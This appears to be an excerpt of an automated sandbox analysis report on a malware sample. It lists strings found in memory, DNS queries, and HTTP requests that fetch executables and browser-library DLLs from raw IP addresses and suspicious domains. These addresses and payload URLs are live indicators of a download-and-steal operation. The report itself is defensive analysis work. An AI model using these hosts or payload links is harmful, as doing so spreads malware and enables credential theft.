Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/ui_common.bd14b46915622488a35a.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/unauthorized.87ce256ec55e2e3e5ca3.js?b414b642420ac2730c4b22b7d77ad654
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://static.vk.me
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://stats.vk-portal.net
Source: fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-20.userapi.com/c235131/u743379129/docs/d53/cc7a24f807a8/baydsstysfhksf_c.bmp?extra=8dLm
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-20.userapi.com/c236331/u743379129/docs/d26/059051d765db/setup1.bmp?extra=cKjpvqfNskqSW0
Source: fJe9em23BB.exe, 00000000.00000003.278210782.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277854680.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279881136.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279990644.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277002780.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289466253.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291982510.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291545171.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289441931.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/
Source: fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/J
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/c235031/u743379129/docs/d51/c924d07213d9/911.bmp?extra=gMDY-BJDp5kskfYnw
Source: fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/c237331/u743379129/docs/d31/f82651545808/Galaxy_7.bmp?extra=G5XNfpEhdvCG
Source: fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/l
Source: fJe9em23BB.exe, 00000000.00000003.277854680.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279990644.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289466253.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291982510.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291545171.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-22.userapi.com/
Source: fJe9em23BB.exe, 00000000.00000003.277854680.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279990644.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289466253.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291982510.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291545171.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-22.userapi.com/J
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sun6-22.userapi.com/c237031/u743379129/docs/d27/ba002a47218f/output_3.bmp?extra=cPXl8IPRrFH8
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://tagmanager.google.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ton.twimg.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.436563015.00000000005D3000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.442652423.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.comww.hhiuew33.com/
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com
Source: fJe9em23BB.exe, 00000000.00000003.275979471.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/away.php?to=https%3A%2F%2F1l-go.mail.ru%2Fr%2Fadid%2F3245029_2013344%2Fpid%2F102819%2
Source: fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc743379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZXHE
Source: fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc743379129_647553944?hash=RUzkh03sehOQ5DxuLDqCnRHhqt55SrrZhQogSNZEzCz&dl=G42DGMZXHE
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc743379129_647582284?hash=OOm3VcekZ6Bc04d6BATEwGzWFdStOJf100Dm7Kj5VW0&dl=G42DGMZXHE
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc743379129_647582399?hash=mQRYKUze4fwd4Zl44ZryWOfPAUHezklHRZfZQh3tiEL&dl=G42DGMZXHE
Source: fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc743379129_647582426?hash=Ri1Uj29yeI52zoqUzqZoGm9MktdF1BQzeD27MH47fDw&dl=G42DGMZXHE
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc746114588_646325992?hash=LuhcCrhZuyYpXNOi0mdZvZUD5l1onzWolI8PqAiIGY4&dl=G42DMMJRGQ
Source: fJe9em23BB.exe, 00000000.00000003.272845576.0000000003B8E000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276304026.0000000003B84000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc743379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZ
Source: fJe9em23BB.exe, 00000000.00000003.269932528.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc743379129_647553944?hash=RUzkh03sehOQ5DxuLDqCnRHhqt55SrrZhQogSNZEzCz&dl=G42DGMZ
Source: fJe9em23BB.exe, 00000000.00000003.275489090.0000000003B76000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc743379129_647582284?hash=OOm3VcekZ6Bc04d6BATEwGzWFdStOJf100Dm7Kj5VW0&dl=G42DGMZ
Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc743379129_647582426?hash=Ri1Uj29yeI52zoqUzqZoGm9MktdF1BQzeD27MH47fDw&dl=G42DGMZ
Source: fJe9em23BB.exe, 00000000.00000003.269932528.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc746114588_646325992?hash=LuhcCrhZuyYpXNOi0mdZvZUD5l1onzWolI8PqAiIGY4&dl=G42DMMJ
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://vk.ru
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: fJe9em23BB.exe, 00000000.00000003.255833744.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/03
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.373356563.0000000003BD3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com
Source: ze5tCopHgrlItmsTQGIZcUK1.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://yastatic.net

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_009A4EA0 InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetReadFile,__aulldiv,__aulldiv,__aulldiv,InternetCloseHandle,InternetCloseHandle,

16_2_009A4EA0

Source: global traffic	HTTP traffic detected: GET /download/Service.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 107.182.129.251Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 62.204.41.123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /hp8/g1/yare1095.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: tg8.cllgxx.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /proxies.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 163.123.143.4
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 89.185.85.53Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.105.117
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.123
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.123
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.123
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.123
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.123
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.251

Source: fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://*.weborama-tech.ru hQ equals www.facebook.com (Facebook)
Source: fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://*.weborama-tech.ru hQ equals www.twitter.com (Twitter)
